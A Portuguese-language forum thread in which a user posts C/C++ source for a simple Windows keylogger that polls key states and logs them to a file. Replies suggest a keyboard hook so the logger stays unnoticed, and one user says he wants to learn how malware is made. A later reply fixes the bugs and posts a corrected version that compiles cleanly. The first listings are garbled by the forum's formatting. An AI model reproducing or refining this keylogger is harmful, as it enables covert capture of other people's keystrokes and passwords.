Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Keylogger Simples em C++

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C++ Keylogger Simples em C++

    Olá pessoal... Fiz um video de como fazer um keylogger simples C/C++, é bem simples mesmo, rsrs...


    [ame]http://www.youtube.com/watch?v=Y2-7Pn0YNHI[/ame]


    Sourcer:
    Código PHP:
    #include <iostream>
    #include <windows.h>
    #include <stdio.h>

    using namespace std;

    int salvar(int teclachar *file);

    int main()
    {
        
    char a;

        while(
    true){

            for(
    a=8;a<=190;a++){
                if(
    GetAsyncKeyState(a) == -32767// captura as teclas !!
                
    salvar(a,"log.txt");
            }

        }

        return 
    0;
    }

    int salvar(int teclachar *file){

        
    FILE *newarquivo;
        
    newarquivo fopen(file"a+");

        
    cout << tecla;

        
    fprintf(newarquivo"%s", &tecla);


    return 
    0;


    Att #M0rph
    "Nunca desista de seus sonhos. Desisti de seus sonhos é abrir mão da felicidade."
    (Augusto Cury)



    Meu Blog... http://www.lab-infor.blogspot.com
    Meu canal do Youtube... http://www.youtube.com/user/rodrigo32323232

  • Font Size
    #2
    Muito bom cara, apesar de eu não ter compilado, mas pela lógica acho que funciona. Tenho duas sugestões para você:

    1º - Use um buffer: fica mais fácil né. Você vai lendo as teclas e guardando num buffer e quando o buffer estiver cheio você salva ela no ficheiro e dá um flush. Isso evita estar sempre a escrever no ficheiro e ajuda no desempenho.

    2º - Espera activa não é legal cara. Tenho uma sugestão melhor: use um hook do teclado. Hook são funções que você instala no centro de mensagem do Windows para interceptar as mensagens. Um hook do teclado funciona assim: você instala ele e sempre que uma tecla é pressionado o Windows chama sua função. Isso antes mesmo de enviar a tecla para o programa que tem o focus do teclado (aquele que o utilizador esta a escrever nele). Isso significa que você pode até alterar essa mensagem e bagunçar todo o sistema do utilizador lol. Mas como a última coisa que você quer é dar nas vista você apenas lê a tecla e devolve ela sem mexer em nada. A única desvantagem do hook de teclado é que você perde a capacidade de tratamento do Windows. Ou seja o Windows não vai retornar o carácter que representa a combinação de teclas pressionado (resumido vai estragar os seus planos com caracteres como é á ã e companhia, mas tem como contornar esse problema).

    Para saber mais sobre os hook: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Se quiser podemos trabalhar juntos na construção de um keylogger. Eu não preciso, mas é uma boa oportunidade para colocar meus conhecimentos da API do Windows em prática .
    “Finalmente encontrei um inimigo digno de mim e uma jornada em que preciso desenvolver toda a minha coragem, pois temos de combater homens bravos e monstruosas feras.”, Alexandre, o Grande.

    Comment


    • Font Size
      #3
      Cara pra falar a verdade isso e bem facil.Mas eu lhe agradeço.Pois essas coisas nao estao presentes nos livros.
      Nos Somos os Reguladores Desregulados.
      Nos somos os Animadores Desanimados.
      Nos somos os propagadores do genocideo.

      Comment


      • Font Size
        #4
        Estou voltando a estudar C/C++ e vou seguir os posts do pessoal aqui para desenvolver minha codificação nestas linguagens. Muito bom post.

        Comment


        • Font Size
          #5
          cara esta dando esse erro na hora de compilar for(a=8;a<=190;a++){ ai não consigo por favor me ajuda sou novo nessa aria de programação sk

          Comment


          • Font Size
            #6
            Coloca a mensagem de erro.
            “Finalmente encontrei um inimigo digno de mim e uma jornada em que preciso desenvolver toda a minha coragem, pois temos de combater homens bravos e monstruosas feras.”, Alexandre, o Grande.

            Comment


            • Font Size
              #7
              Como posso retirar o mesmo depois?

              Comment


              • Font Size
                #8
                Dahora,sou novo na area de programação,vai ser muito legal para estudar e tal.
                "Os computadores são incrivelmente rápidos, precisos e burros; Os homens são incrivelmente lentos, imprecisos e brilhantes; Juntos, seus poderes ultrapassam os limites da imaginação."

                Comment


                • Font Size
                  #9
                  queria agradecer a vcs do forum to aprendendo com um curso que baichei aki mesmo e to vendo os tutoriais como esse mesmo aki dessa galera que ja tem muita esperiencia eu na verdade sou iniciante apaixonado por programação e quero chegar a esse nivel de vcs brigado

                  Comment


                  • Font Size
                    #10
                    Postado Originalmente por #M0rph Ver Post
                    Olá pessoal... Fiz um video de como fazer um keylogger simples C/C++, é bem simples mesmo, rsrs...


                    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...


                    Sourcer:
                    Código PHP:
                    #include <iostream>
                    #include <windows.h>
                    #include <stdio.h>

                    using namespace std;

                    int salvar(int teclachar *file);

                    int main()
                    {
                        
                    char a;

                        while(
                    true){

                            for(
                    a=8;a<=190;a++){
                                if(
                    GetAsyncKeyState(a) == -32767// captura as teclas !!
                                
                    salvar(a,"log.txt");
                            }

                        }

                        return 
                    0;
                    }

                    int salvar(int teclachar *file){

                        
                    FILE *newarquivo;
                        
                    newarquivo fopen(file"a+");

                        
                    cout << tecla;

                        
                    fprintf(newarquivo"%s", &tecla);


                    return 
                    0;


                    Att #M0rph

                    Mas o que esse for faz exatamente?

                    E se eu quiser tratar caracteres especiais e ainda diferenciar maiúsculas de minúsculas?
                    Já tratou o backspace?

                    Abraços

                    Comment


                    • Font Size
                      #11
                      Para que serve esse FOR exatamente? Como faça para diferenciar maiusculas de minusculas e ainda tratar caracteres especiais?

                      Comment


                      • Font Size
                        #12
                        Me explica essa linha

                        Mano ali na linha onde tem "cout << tecla;" o que exatamente ela faz?
                        No meu entender isso coloca na tela o que está na variável "tecla", mas
                        pra que essa "função"? Ela está ali mesmo pra isso, ou ela faz outra coisa?
                        Obrigado pelo tutorial, estava mesmo querendo entender um pouco da lógica
                        de se criar malwares. Valeu mano!

                        Comment


                        • Font Size
                          #13
                          Como muita gente perguntou sobre o funcionamento e o OP ainda não respondeu vou deixar a minha explicação como comentários.

                          Código PHP:

                          int main
                          () 

                              
                          char a// Variável para representar a tecla
                              // basicamente o Windows define algumas contantes chamadas de Virtual Key
                              // que são representações das teclas do teclado, assim como outras funções
                              // Lista das Virtual-Key's
                              // https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx

                              // loop infinito para o programa ficar rodando para sempre
                              
                          while(true) { 

                                  
                          // aqui a lógica muda um pouco
                                  // é criado um loop e nele a vai receber o valor de 8 até 190
                                  // no link do msdn com as VKey's podemos ver que vai de 0x08 até 0xBE
                                  // que inclui alguns acentos, algumas teclas de teclados multimidia e as teclas normais
                                  // então esse loop é feito somente para gerar dinamicamente as VKey's 
                                  
                          for(a=8;a<=190;a++){

                                      
                          // GetAsyncKeyState é uma função da API do Windows
                                      // que verifica o estado de uma tecla retornando um SIGNED SHORT
                                      // Ela aceita um INT e não um CHAR, então um cast implicito é efetuado
                                      // alguns compiler's podem dar algum warning por isso
                                      // Algo vamos a parte divertida, a Microsoft como criou essa API
                                      // a muito tempo atrás quando memória era um luxo, utilizou os bits 
                                      // do valor de retorno para especificar o resultado
                                      // A função não retorna apenas 0 ou 1

                                      // De acordo com a documentação, se o bit de maior significado/importância/valor 
                                      // estiver setado a tecla está sendo pressionada, tem mais alguns bits que
                                      // contém dados mas não vamos nos atentar a isso.
                                      // Agora pq esse número -32767?
                                      // Lembra que o valor retornado é um SIGNED SHORT, ou seja um INTEIRO de 16 bits
                                      // podendo ser positivo ou não
                                      // Como sabemos o bit mais significativo de um INTEIRO com sinal é justamente o bit de sinal
                                      // 0b0000000000000000 <= Zero
                                      // 0b1000000000000000 <= Resultado retornado (-32767)
                                      // Então esse if apenas verifica se a tecla está sendo pressionada
                                      
                          if(GetAsyncKeyState(a) == -32767// captura as teclas !! 
                                      // Se a tecla o if for verdadeiro salvamos a tecla
                                      
                          salvar(a,"log.txt"); 
                                  } 

                              } 

                              return 
                          0

                          Agora é claro que isso é um código para aprendizado, para colocar a mão na massa e aprender a lógica por do Keylogger, por isso que na função salvar está sendo utilizado o cout, também vale observar que este código é quase completamente em C, apenas o cout que é C++, o resto é válido C99.

                          Para tornar ele um pouco mais "C++" talvez utilizar um std::fstream em vez do FILE, mas isso não faz diferença nenhuma no resultado é apenas uma observação para quem quiser utilizar em puro C.

                          Agora realmente existe alguns erros na função salvar
                          Código PHP:
                          fprintf(newarquivo"%s", &tecla); 
                          Está sendo informado uma string (%s) e passado um ponteiro para a tecla, o correto é passar um inteiro e apenas o valor da tecla, não o seu ponteiro.

                          Código PHP:
                          fprintf(newarquivo"%s"tecla); 
                          Outro ponto importante, o arquivo não está sendo fechado, o que pode causar erro, então um fclose(newarquivo) no final do salvar é importante.


                          Agora se ainda estiver dando erro, é pq provavelmente o VisualCompiler está reclamando do fopen não ser seguro, falando para utilizar o fopen_s ou definir _CRT_SECURE_NO_WARNINGS.

                          Outra alternativa é alterar o open e o fprintf pelas alternativas seguras. Segue o código abaixo alterado para compilar no VisualStudio sem erros/warnings.

                          Código PHP:
                          #include <iostream> 
                          #include <windows.h> 
                          #include <stdio.h> 

                          using namespace std;

                          int salvar(int teclacharfile);

                          int main(int argcchar** argv) {
                              
                          char a;

                              while (
                          true) {

                                  for (
                          8<= 190a++) {
                                      if (
                          GetAsyncKeyState(a) == -32767// captura as teclas !! 
                                          
                          salvar(a"log.txt");
                                  }

                              }

                              return 
                          0;
                          }

                          int salvar(int teclachar *file) {

                              
                          FILE *newarquivo;
                              if(
                          fopen_s(&newarquivofile"a+") == 0) {
                                  
                          cout << tecla << endl;
                                  
                          fprintf_s(newarquivo"%i"tecla);
                                  
                          fclose(newarquivo);  
                              } else {
                                  
                          cerr << "Erro ao abrir o arquivo" << endl;
                              }

                               

                              return 
                          0;

                          Comment


                          • Font Size
                            #14
                            Gostei.... muito bom.

                            Comment


                            • Font Size
                              #15
                              Valew

                              Muito bom cara... valew...

                              Comment

                              X
                              Working...
                              X